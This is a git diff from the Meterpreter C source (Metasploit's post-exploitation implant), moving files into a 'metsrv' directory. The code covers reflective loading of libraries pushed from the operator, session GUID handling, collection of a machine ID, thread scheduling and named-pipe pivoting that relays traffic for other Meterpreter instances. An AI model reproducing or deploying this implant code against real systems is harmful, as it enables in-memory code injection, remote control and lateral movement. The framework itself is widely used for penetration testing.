(PCMDADDED)GetProcAddress(pExtension->library, "CommandAdded"); + pExtension->stagelessInit = (PSTAGELESSINIT)GetProcAddress(pExtension->library, "StagelessInit"); + } + + dprintf("[SERVER] Calling init on extension, address is 0x%p", pExtension->init); + + // Call the init routine in the library + if (pExtension->init) + { + dprintf("[SERVER] Calling init()..."); + + pExtension->end = pFirstCommand; + dwResult = pExtension->init(met_api, remote); + pExtension->start = extensionCommands; + + if (dwResult == ERROR_SUCCESS) + { + // inform the new extension of the existing commands + if (pExtension->commandAdded) + { + for (Command* command = pExtension->end; command != NULL; command = command->next) + { + pExtension->commandAdded(command->method); + } + } + + if (pExtension->getname) + { + pExtension->getname(pExtension->name, sizeof(pExtension->name)); + } + + list_push(gExtensionList, pExtension); + } + else + { + free(pExtension); + } + } + + dprintf("[SERVER] Called init()..."); + if (response) + { + for (Command* command = pExtension->start; command != pExtension->end; command = command->next) + { + packet_add_tlv_string(response, TLV_TYPE_METHOD, command->method); + + // inform existing extensions of the new commands + for (PNODE node = gExtensionList->start; node != NULL; node = node->next) + { + PEXTENSION ext = (PEXTENSION)node->data; + // don't inform the extension of itself + if (ext != pExtension && ext->commandAdded) + { + ext->commandAdded(command->method); + } + } + } + } + } + + return dwResult; +} + +/* + * @brief Load a library from the request packet. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_loadlib(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS; + HMODULE library; + PCHAR libraryPath; + DWORD flags = 0; + BOOL bLibLoadedReflectivly = FALSE; + + Command *first = extensionCommands; + + do + { + libraryPath = packet_get_tlv_value_string(packet, TLV_TYPE_LIBRARY_PATH); + flags = packet_get_tlv_value_uint(packet, TLV_TYPE_FLAGS); + + // Invalid library path? + if (!libraryPath) + { + res = ERROR_INVALID_PARAMETER; + break; + } + + // If the lib does not exist locally, but is being uploaded... + if (!(flags & LOAD_LIBRARY_FLAG_LOCAL)) + { + PCHAR targetPath; + Tlv dataTlv; + + // Get the library's file contents + if ((packet_get_tlv(packet, TLV_TYPE_DATA, + &dataTlv) != ERROR_SUCCESS) || + (!(targetPath = packet_get_tlv_value_string(packet, + TLV_TYPE_TARGET_PATH)))) + { + res = ERROR_INVALID_PARAMETER; + break; + } + + // If the library is not to be stored on disk, + if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) + { + // try to load the library via its reflective loader... + library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length); + if (library == NULL) + { + // if that fails, presumably besause the library doesn't support + // reflective injection, we default to using libloader... + library = libloader_load_library(targetPath, + dataTlv.buffer, dataTlv.header.length); + } + else + { + bLibLoadedReflectivly = TRUE; + } + + res = (library) ? ERROR_SUCCESS : ERROR_NOT_FOUND; + } + else + { + // Otherwise, save the library buffer to disk + res = buffer_to_file(targetPath, dataTlv.buffer, + dataTlv.header.length); + } + + // Override the library path + libraryPath = targetPath; + } + + // If a previous operation failed, break out. + if (res != ERROR_SUCCESS) + { + break; + } + + // Load the library + if (!library && !(library = LoadLibraryA(libraryPath))) + { + res = GetLastError(); + } + + // If this library is supposed to be an extension library, try to + // call its Init routine + if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) + { + res = load_extension(library, bLibLoadedReflectivly, remote, response, first); + } + + } while (0); + + if (response) + { + packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * @brief Set/update the current UUID for the session. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_set_uuid(Remote* remote, Packet* packet) +{ + Packet* response = packet_create_response(packet); + PBYTE newUuid = packet_get_tlv_value_raw(packet, TLV_TYPE_UUID); + + if (newUuid != NULL) + { + memcpy(remote->orig_config->session.uuid, newUuid, UUID_SIZE); + } + + if (response) + { + packet_transmit_response(ERROR_SUCCESS, remote, response); + } + + return ERROR_SUCCESS; +} + +/* + * @brief Get the current session GUID. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_get_session_guid(Remote* remote, Packet* packet) +{ + Packet* response = packet_create_response(packet); + if (response) + { + packet_add_tlv_raw(response, TLV_TYPE_SESSION_GUID, &remote->orig_config->session.session_guid, sizeof(GUID)); + packet_transmit_response(ERROR_SUCCESS, remote, response); + } + return ERROR_SUCCESS; +} + +/* + * @brief Set the current session GUID. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_set_session_guid(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); + + if (sessionGuid != NULL) + { + memcpy(remote->orig_config->session.session_guid, sessionGuid, sizeof(GUID)); + } + else + { + result = ERROR_BAD_ARGUMENTS; + } + + packet_transmit_empty_response(remote, packet, result); + + return ERROR_SUCCESS; +} + +/* + * @brief Get the current machine identifier. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the incoming request \c Packet. + * @returns Indication of success or failure. + */ +DWORD request_core_machine_id(Remote* remote, Packet* packet) +{ + DWORD res = ERROR_SUCCESS; + dprintf("[CORE] Running request_core_machine_id"); + Packet* response = packet_create_response(packet); + dprintf("[CORE] response is %p", response); + + if (response) + { + wchar_t buffer[MAX_PATH]; + if (GetSystemDirectory(buffer, MAX_PATH) != 0) + { + wchar_t computerName[MAX_PATH]; + DWORD computerNameSize = MAX_PATH; + DWORD serialNumber; + wchar_t* backslash = wcschr(buffer, L'\\'); + *(backslash + 1) = L'\0'; + + GetVolumeInformation(buffer, NULL, 0, &serialNumber, NULL, 0, NULL, 0); + + GetComputerName(computerName, &computerNameSize); + + _snwprintf_s(buffer, MAX_PATH, MAX_PATH - 1, L"%04x-%04x:%s", HIWORD(serialNumber), LOWORD(serialNumber), computerName); + packet_add_tlv_wstring(response, TLV_TYPE_MACHINE_ID, buffer); + dprintf("[CORE] sending machine id: %S", buffer); + } + + packet_transmit_response(res, remote, response); + } + + return ERROR_SUCCESS; +} diff --git a/c/meterpreter/source/server/remote_dispatch.h b/c/meterpreter/source/metsrv/remote_dispatch.h old mode 100755 new mode 100644 similarity index 78% rename from c/meterpreter/source/server/remote_dispatch.h rename to c/meterpreter/source/metsrv/remote_dispatch.h index df5858c0..fe2ed3a5 --- a/c/meterpreter/source/server/remote_dispatch.h +++ b/c/meterpreter/source/metsrv/remote_dispatch.h @@ -1,13 +1,15 @@ -#ifndef _METERPRETER_SERVER_REMOTE_DISPATCHER_H -#define _METERPRETER_SERVER_REMOTE_DISPATCHER_H - -DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket); -DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket); - -DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand); -DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize); - -VOID register_dispatch_routines(); -VOID deregister_dispatch_routines(Remote * remote); - -#endif +#ifndef _METERPRETER_METSRV_REMOTE_DISPATCHER_H +#define _METERPRETER_METSRV_REMOTE_DISPATCHER_H + +#include "common.h" + +DWORD request_core_enumextcmd(Remote* pRemote, Packet* pPacket); +DWORD request_core_loadlib(Remote *pRemote, Packet *pPacket); + +DWORD load_extension(HMODULE hLibrary, BOOL bLibLoadedReflectivly, Remote* pRemote, Packet* pResponse, Command* pFirstCommand); +DWORD stagelessinit_extension(const char* extensionName, LPBYTE data, DWORD dataSize); + +VOID register_dispatch_routines(); +VOID deregister_dispatch_routines(Remote * remote); + +#endif diff --git a/c/meterpreter/source/common/arch/win/remote_thread.c b/c/meterpreter/source/metsrv/remote_thread.c similarity index 100% rename from c/meterpreter/source/common/arch/win/remote_thread.c rename to c/meterpreter/source/metsrv/remote_thread.c diff --git a/c/meterpreter/source/common/arch/win/remote_thread.h b/c/meterpreter/source/metsrv/remote_thread.h similarity index 61% rename from c/meterpreter/source/common/arch/win/remote_thread.h rename to c/meterpreter/source/metsrv/remote_thread.h index a2baa49b..7cfe8bab 100644 --- a/c/meterpreter/source/common/arch/win/remote_thread.h +++ b/c/meterpreter/source/metsrv/remote_thread.h @@ -1,5 +1,5 @@ -#ifndef _METERPRETER_REMOTE_THREAD_H -#define _METERPRETER_REMOTE_THREAD_H +#ifndef _METERPRETER_METSRV_REMOTE_THREAD_H +#define _METERPRETER_METSRV_REMOTE_THREAD_H HANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId); diff --git a/c/meterpreter/source/common/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c similarity index 77% rename from c/meterpreter/source/common/scheduler.c rename to c/meterpreter/source/metsrv/scheduler.c index 2deed2cf..25f02dc4 100644 --- a/c/meterpreter/source/common/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -1,4 +1,4 @@ -#include "common.h" +#include "metsrv.h" #ifndef _WIN32 #include @@ -170,57 +170,59 @@ DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID th /* * Signal a waitable object. */ -DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ) +DWORD scheduler_signal_waitable(HANDLE waitable, SchedulerSignal signal) { - DWORD index = 0; - DWORD count = 0; - THREAD * thread = NULL; - WaitableEntry * entry = NULL; - DWORD result = ERROR_NOT_FOUND; + DWORD index = 0; + DWORD count = 0; + THREAD* thread = NULL; + WaitableEntry* entry = NULL; + DWORD result = ERROR_NOT_FOUND; - dprintf( "[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable ); + dprintf("[SCHEDULER] entering scheduler_signal_waitable( 0x%08X )", waitable); - if( schedulerThreadList == NULL || !waitable ) + if (schedulerThreadList == NULL || !waitable) return ERROR_INVALID_HANDLE; - lock_acquire( schedulerThreadList->lock ); + lock_acquire(schedulerThreadList->lock); - count = list_count( schedulerThreadList ); + count = list_count(schedulerThreadList); - for( index=0 ; index < count ; index++ ) + for (index = 0; index < count; index++) { - thread = (THREAD *)list_get( schedulerThreadList, index ); - if( thread == NULL ) + thread = (THREAD*)list_get(schedulerThreadList, index); + if (thread == NULL) continue; - entry = (WaitableEntry *)thread->parameter1; - if( entry == NULL ) + entry = (WaitableEntry*)thread->parameter1; + if (entry == NULL) continue; - if( entry->waitable == waitable ) + if (entry->waitable == waitable) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread ); - if( signal == Pause ) + dprintf("[SCHEDULER] scheduler_signal_waitable: signaling waitable = 0x%08X, thread = 0x%08X", waitable, thread); + if (signal == SchedulerPause) { - if( entry->running ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle ); - event_signal( entry->pause ); - } else { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); + if (entry->running) { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread running, pausing. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->pause->handle); + event_signal(entry->pause); + } + else { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread already paused. waitable = 0x%08X, thread = 0x%08X", waitable, thread); } } else { - if( !entry->running ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle ); - event_signal( entry->resume ); + if (!entry->running) { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread paused, resuming. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, entry->resume->handle); + event_signal(entry->resume); } - if( signal == Stop ) { - dprintf( "[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle ); - thread_sigterm( thread ); - } else { - dprintf( "[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread ); + if (signal == SchedulerStop) { + dprintf("[SCHEDULER] scheduler_signal_waitable: stopping thread. waitable = 0x%08X, thread = 0x%08X, handle = 0x%X", waitable, thread, thread->sigterm->handle); + thread_sigterm(thread); + } + else { + dprintf("[SCHEDULER] scheduler_signal_waitable: thread already running. waitable = 0x%08X, thread = 0x%08X", waitable, thread); } } @@ -229,9 +231,9 @@ DWORD scheduler_signal_waitable( HANDLE waitable, SchedularSignal signal ) } } - lock_release( schedulerThreadList->lock ); + lock_release(schedulerThreadList->lock); - dprintf( "[SCHEDULER] leaving scheduler_signal_waitable" ); + dprintf("[SCHEDULER] leaving scheduler_signal_waitable"); return result; } diff --git a/c/meterpreter/source/metsrv/scheduler.h b/c/meterpreter/source/metsrv/scheduler.h new file mode 100644 index 00000000..0e488fc6 --- /dev/null +++ b/c/meterpreter/source/metsrv/scheduler.h @@ -0,0 +1,13 @@ +#ifndef _METERPRETER_METSRV_SCHEDULER_H +#define _METERPRETER_METSRV_SCHEDULER_H + +#include "remote.h" +#include "common_scheduler.h" + +DWORD scheduler_initialize( Remote * remote ); +DWORD scheduler_destroy( VOID ); +DWORD scheduler_insert_waitable( HANDLE waitable, LPVOID entryContext, LPVOID threadContext, WaitableNotifyRoutine routine, WaitableDestroyRoutine destroy ); +DWORD scheduler_signal_waitable( HANDLE waitable, SchedulerSignal signal ); +DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ); + +#endif diff --git a/c/meterpreter/source/server/win/server_pivot.c b/c/meterpreter/source/metsrv/server_pivot.c old mode 100755 new mode 100644 similarity index 94% rename from c/meterpreter/source/server/win/server_pivot.c rename to c/meterpreter/source/metsrv/server_pivot.c index 5b997d19..d2e49c58 --- a/c/meterpreter/source/server/win/server_pivot.c +++ b/c/meterpreter/source/metsrv/server_pivot.c @@ -1,49 +1,48 @@ -#include "metsrv.h" -#include "../../common/common.h" -#include "server_pivot.h" -#include "server_pivot_named_pipe.h" - -/*! - * @brief Add a pivot point to the current meterpreter session - * @remote Pointer to the \c Remote instance. - * @remote Pointer to the incoming request \c Packet instance. - * @return Indication of error or success. - * @remark This allows for meterpreter to become a staging and pivot point - * for other Meterpreter instances on the network. - */ -DWORD request_core_pivot_add(Remote* remote, Packet* packet) -{ - // Right now we only support named pipe pivotes, so just go straight there - return request_core_pivot_add_named_pipe(remote, packet); -} - -/*! - * @brief Remove a pivot point from the current Meterpreter instance. - * @remote Pointer to the \c Remote instance. - * @remote Pointer to the incoming request \c Packet instance. - * @return Indication of error or success. - */ -DWORD request_core_pivot_remove(Remote* remote, Packet* packet) -{ - DWORD result = ERROR_NOT_FOUND; - LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); - - if (pivotId != NULL) - { - PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); - dbgprint_pivot_tree(remote->pivot_listeners); -#endif - if (ctx != NULL) - { - ctx->remove(ctx->state); - free(ctx); - result = ERROR_SUCCESS; - } - } - - packet_transmit_empty_response(remote, packet, result); - - return result; +#include "metsrv.h" +#include "server_pivot.h" +#include "server_pivot_named_pipe.h" + +/*! + * @brief Add a pivot point to the current meterpreter session + * @remote Pointer to the \c Remote instance. + * @remote Pointer to the incoming request \c Packet instance. + * @return Indication of error or success. + * @remark This allows for meterpreter to become a staging and pivot point + * for other Meterpreter instances on the network. + */ +DWORD request_core_pivot_add(Remote* remote, Packet* packet) +{ + // Right now we only support named pipe pivotes, so just go straight there + return request_core_pivot_add_named_pipe(remote, packet); +} + +/*! + * @brief Remove a pivot point from the current Meterpreter instance. + * @remote Pointer to the \c Remote instance. + * @remote Pointer to the incoming request \c Packet instance. + * @return Indication of error or success. + */ +DWORD request_core_pivot_remove(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_NOT_FOUND; + LPBYTE pivotId = packet_get_tlv_value_raw(packet, TLV_TYPE_PIVOT_ID); + + if (pivotId != NULL) + { + PivotContext* ctx = pivot_tree_remove(remote->pivot_listeners, pivotId); +#ifdef DEBUGTRACE + dprintf("[PIVOTTREE] Pivot listeners (after one removed)"); + dbgprint_pivot_tree(remote->pivot_listeners); +#endif + if (ctx != NULL) + { + ctx->remove(ctx->state); + free(ctx); + result = ERROR_SUCCESS; + } + } + + packet_transmit_empty_response(remote, packet, result); + + return result; } \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot.h b/c/meterpreter/source/metsrv/server_pivot.h old mode 100755 new mode 100644 similarity index 59% rename from c/meterpreter/source/server/win/server_pivot.h rename to c/meterpreter/source/metsrv/server_pivot.h index 94d0b6a5..5242e2ed --- a/c/meterpreter/source/server/win/server_pivot.h +++ b/c/meterpreter/source/metsrv/server_pivot.h @@ -1,7 +1,7 @@ -#ifndef _METERPRETER_SERVER_PIVOT -#define _METERPRETER_SERVER_PIVOT - -DWORD request_core_pivot_add(Remote* remote, Packet* packet); +#ifndef _METERPRETER_METSRV_SERVER_PIVOT +#define _METERPRETER_METSRV_SERVER_PIVOT + +DWORD request_core_pivot_add(Remote* remote, Packet* packet); DWORD request_core_pivot_remove(Remote* remote, Packet* packet); #endif \ No newline at end of file diff --git a/c/meterpreter/source/server/win/server_pivot_named_pipe.c b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c old mode 100755 new mode 100644 similarity index 96% rename from c/meterpreter/source/server/win/server_pivot_named_pipe.c rename to c/meterpreter/source/metsrv/server_pivot_named_pipe.c index 04a37e8a..bf1f2767 --- a/c/meterpreter/source/server/win/server_pivot_named_pipe.c +++ b/c/meterpreter/source/metsrv/server_pivot_named_pipe.c @@ -1,836 +1,835 @@ -#include "metsrv.h" -#include "../../common/common.h" -#include "server_pivot_named_pipe.h" -#include "../../common/packet_encryption.h" - -#include -#include - -#define PIPE_NAME_SIZE 256 -#define PIPE_BUFFER_SIZE 0x10000 - -typedef struct _NamedPipeContext -{ - // make sure we leave this as the first element, so that it can be cast - // to an OVERLAPPED pointer for various operations. - OVERLAPPED read_overlap; - OVERLAPPED write_overlap; - char name[PIPE_NAME_SIZE]; - GUID pivot_id; - GUID pivot_session_guid; - BOOL session_established; - CHAR guid_request_id[32]; - Remote* remote; - HANDLE pipe; - BOOL connecting; - BOOL established; - BYTE read_buffer[PIPE_BUFFER_SIZE]; - LPBYTE packet_buffer; - DWORD packet_buffer_size; - DWORD packet_buffer_offset; - DWORD packet_required_size; - LPVOID stage_data; - DWORD stage_data_size; - LOCK* write_lock; -} NamedPipeContext; - -static DWORD server_notify(Remote* remote, LPVOID entryContext, LPVOID threadContext); -static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext); -static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength); -static VOID free_server_context(NamedPipeContext* ctx); - -typedef BOOL (WINAPI *PAddMandatoryAce)(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid); -static BOOL WINAPI AddMandatoryAce(PACL pAcl, DWORD dwAceRevision, DWORD dwAceFlags, DWORD dwMandatoryPolicy, PSID pLabelSid) -{ - static BOOL attempted = FALSE; - static PAddMandatoryAce pAddMandatoryAce = NULL; - - if (attempted) - { - attempted = TRUE; - - HMODULE lib = LoadLibraryA("advapi32.dll"); - if (lib != NULL) - { - pAddMandatoryAce = (PAddMandatoryAce)GetProcAddress(lib, "AddMandatoryAce"); - dprintf("[NP-SERVER] AddMandatoryAce: %p", pAddMandatoryAce); - } - } - - if (pAddMandatoryAce != NULL) - { - pAddMandatoryAce(pAcl, dwAceRevision, dwAceFlags, dwMandatoryPolicy, pLabelSid); - } - - return TRUE; -} - -static DWORD server_destroy(HANDLE waitable, LPVOID entryContext, LPVOID threadContext) -{ - NamedPipeContext* ctx = (NamedPipeContext*)entryContext; - if (ctx != NULL) - { - dprintf("[PIVOT] Cleaning up the pipe pivot context"); - lock_acquire(ctx->remote->lock); - CloseHandle(ctx->pipe); - CloseHandle(ctx->read_overlap.hEvent); - CloseHandle(ctx->write_overlap.hEvent); - SAFE_FREE(ctx->stage_data); - lock_destroy(ctx->write_lock); - lock_release(ctx->remote->lock); - dprintf("[PIVOT] Cleaned up the pipe pivot context"); - } - return ERROR_SUCCESS; -} - -static void terminate_pipe(NamedPipeContext* ctx) -{ - if (ctx != NULL) - { - scheduler_signal_waitable(ctx->read_overlap.hEvent, Stop); - } -} - -static DWORD remove_listener(LPVOID state) -{ - dprintf("[PIVOT] removing named pipe listener"); - terminate_pipe((NamedPipeContext*)state); - return ERROR_SUCCESS; -} - -static DWORD read_pipe_to_packet(NamedPipeContext* ctx, LPBYTE source, DWORD sourceSize) -{ - BOOL relayPacket = TRUE; - // Make sure we have the space to handle the incoming packet - if (ctx->packet_buffer_size < sourceSize + ctx->packet_buffer_offset) - { - ctx->packet_buffer_size = sourceSize + ctx->packet_buffer_offset; - dprintf("[PIVOT] Allocating space: %u bytes", ctx->packet_buffer_size); - ctx->packet_buffer = (LPBYTE)realloc(ctx->packet_buffer, ctx->packet_buffer_size); - } - - // copy over the new data - memcpy(ctx->packet_buffer + ctx->packet_buffer_offset, source, sourceSize); - ctx->packet_buffer_offset += sourceSize; - - // check if the packet is complete - if (ctx->packet_required_size == 0) - { - dprintf("[PIVOT] Size not yet calculated"); - if (ctx->packet_buffer_offset >= sizeof(PacketHeader)) - { - dprintf("[PIVOT] header bytes received, calculating buffer offset"); - // get a copy of the header data and XOR it out so we can read the length - PacketHeader* header = (PacketHeader*)ctx->packet_buffer; -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)ctx->packet_buffer; - dprintf("[PIVOT] Packet header before XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); -#ifdef DEBUGTRACE - h = (PUCHAR)ctx->packet_buffer; - dprintf("[PIVOT] Packet header after XOR: [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X] [0x%02X 0x%02X 0x%02X 0x%02X]", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15], h[16], h[17], h[18], h[19], h[20], h[21], h[22], h[23], h[24], h[25], h[26], h[27], h[28], h[29], h[30], h[31]); -#endif - ctx->packet_required_size = ntohl(header->length) + sizeof(PacketHeader) - sizeof(TlvHeader); - xor_bytes(header->xor_key, (LPBYTE)&header->length, sizeof(header->length)); - dprintf("[PIVOT] Required size is %u bytes", ctx->packet_required_size); - } - } - - if (ctx->packet_required_size > 0 && ctx->packet_required_size <= ctx->packet_buffer_offset) - { - // whole packet is ready for transmission to the other side! Pivot straight through the existing - // transport by sending the raw packet to the transmitter. - if (!ctx->session_established) - { - dprintf("[PIPE] Session not yet established, checking for response packet"); - // we need to check if this packet contains a response to the request for a session guid - PacketHeader* header = (PacketHeader*)ctx->packet_buffer; - xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); - if (header->enc_flags == ENC_FLAG_NONE) - { - dprintf("[PIPE] Incoming packet is not encrypted!"); - Packet* packet = (Packet*)calloc(1, sizeof(Packet)); - packet->header.length = header->length; - packet->header.type = header->type; - packet->payloadLength = ntohl(packet->header.length) - sizeof(TlvHeader); - packet->payload = ctx->packet_buffer + sizeof(PacketHeader); - - CHAR* requestId = packet_get_tlv_value_string(packet, TLV_TYPE_REQUEST_ID); - if (requestId != NULL && memcmp(ctx->guid_request_id, requestId, sizeof(ctx->guid_request_id)) == 0) - { - dprintf("[PIPE] Request ID found and matches expected value"); - // we have a response to our session guid request - LPBYTE sessionGuid = packet_get_tlv_value_raw(packet, TLV_TYPE_SESSION_GUID); -#ifdef DEBUGTRACE - PUCHAR h = (PUCHAR)&sessionGuid[0]; - dprintf("[PIPE] Returned session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - h = (PUCHAR)&ctx->pivot_session_guid; - dprintf("[PIPE] Pivot session guid: %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", - h[0], h[1], h[2], h[3], h[4], h[5], h[6], h[7], h[8], h[9], h[10], h[11], h[12], h[13], h[14], h[15]); - dprintf("[PIPE] Session pivot session guid size: %u", sizeof(ctx->pivot_session_guid)); -#endif - if (sessionGuid != NULL && memcmp(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)) != 0) - { - dprintf("[PIPE] Session guid returned, looks like the session is a reconnect"); - memcpy(&ctx->pivot_session_guid, sessionGuid, sizeof(ctx->pivot_session_guid)); - - PivotContext* pc = pivot_tree_remove(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid); - if (pc != NULL) - { - dprintf("[PIPE] We seem to have acquired a new instance of a pivot we didnt know was dead. Killing!"); - free_server_context((NamedPipeContext*)pc->state); - free(pc); - } - } - else - { - dprintf("[PIPE] Session guid not found, looks like the session is new"); - - // We need to generate a new session GUID and inform metasploit of the new session - CoCreateGuid(&ctx->pivot_session_guid); - - // swizzle the values around so that endianness isn't an issue before casting to a block of bytes - ctx->pivot_session_guid.Data1 = htonl(ctx->pivot_session_guid.Data1); - ctx->pivot_session_guid.Data2 = htons(ctx->pivot_session_guid.Data2); - ctx->pivot_session_guid.Data3 = htons(ctx->pivot_session_guid.Data3); - } - - ctx->session_established = TRUE; - - PivotContext* pivotContext = (PivotContext*)calloc(1, sizeof(PivotContext)); - pivotContext->state = ctx; - pivotContext->packet_write = named_pipe_write_raw; - pivot_tree_add(ctx->remote->pivot_sessions, (LPBYTE)&ctx->pivot_session_guid, pivotContext); -#ifdef DEBUGTRACE - dprintf("[PIVOTTREE] Pivot sessions (after new one added)"); - dbgprint_pivot_tree(ctx->remote->pivot_sessions); -#endif - - // with the session now established, we need to inform metasploit of the new connection - dprintf("[PIPE] Informing MSF of the new named pipe pivot"); - Packet* notification = packet_create(PACKET_TLV_TYPE_REQUEST, "core_pivot_session_new"); - packet_add_tlv_raw(notification, TLV_TYPE_SESSION_GUID, (LPVOID)&ctx->pivot_session_guid, sizeof(ctx->pivot_session_guid)); - packet_add_tlv_raw(notification, TLV_TYPE_PIVOT_ID, (LPVOID)&ctx->pivot_id, sizeof(ctx->pivot_id)); - packet_transmit(ctx->remote, notification, NULL); - - relayPacket = FALSE; - } - - free(packet); - } - xor_bytes(header->xor_key, (LPBYTE)&header->session_guid, ctx->packet_required_size - sizeof(header->xor_key)); - } - - if (relayPacket) - { - dprintf("[PIVOT] Entire packet is ready, size is %u, offset is %u", ctx->packet_required_size, ctx->packet_buffer_offset); - ctx->remote->transport->packet_transmit(ctx->remote, ctx->packet_buffer, ctx->packet_required_size); - } - // TODO: error check? - - // with the packet sent, we need to rejig a bit here so that the next block of data - // results in a new packet. - DWORD diff = ctx->packet_buffer_offset - ctx->packet_required_size; - if (diff > 0) - { - dprintf("[PIVOT] Extra %u bytes found, shuffling data", diff); - memmove(ctx->packet_buffer, ctx->packet_buffer + ctx->packet_required_size, diff); - }; - dprintf("[PIVOT] Packet buffer reset"); - ctx->packet_buffer_offset = diff; - ctx->packet_required_size = 0; - } - - return ERROR_SUCCESS; -} - -static DWORD named_pipe_write_raw(LPVOID state, LPBYTE raw, DWORD rawLength) -{ - NamedPipeContext* ctx = (NamedPipeContext*)state; - DWORD dwResult = ERROR_SUCCESS; - DWORD bytesWritten = 0; - - lock_acquire(ctx->write_lock); - - dprintf("[NP-SERVER] Writing a total of %u", rawLength); - while (bytesWritten < rawLength) - { - DWORD byteCount = 0; - WriteFile(ctx->pipe, raw, rawLength - bytesWritten, NULL, &ctx->write_overlap); - //WriteFile(ctx->pipe, raw, min(rawLength - bytesWritten, PIPE_BUFFER_SIZE), NULL, &ctx->write_overlap); - - // blocking here is just fine, it's the reads we care about - if (GetOverlappedResult(ctx->pipe, &ctx->write_overlap, &byteCount, TRUE)) - { - dprintf("[NP-SERVER] Wrote %u", byteCount); - bytesWritten += byteCount; - } - else - { - BREAK_ON_ERROR("[NP-SERVER] failed to do the write"); - } - dprintf("[NP-SERVER] left to go: %u", rawLength - bytesWritten); - } - - dprintf("[NP SERVER] server write. finished. dwResult=%d, written=%d", dwResult, bytesWritten); - - lock_release(ctx->write_lock); - - return dwResult; -} - 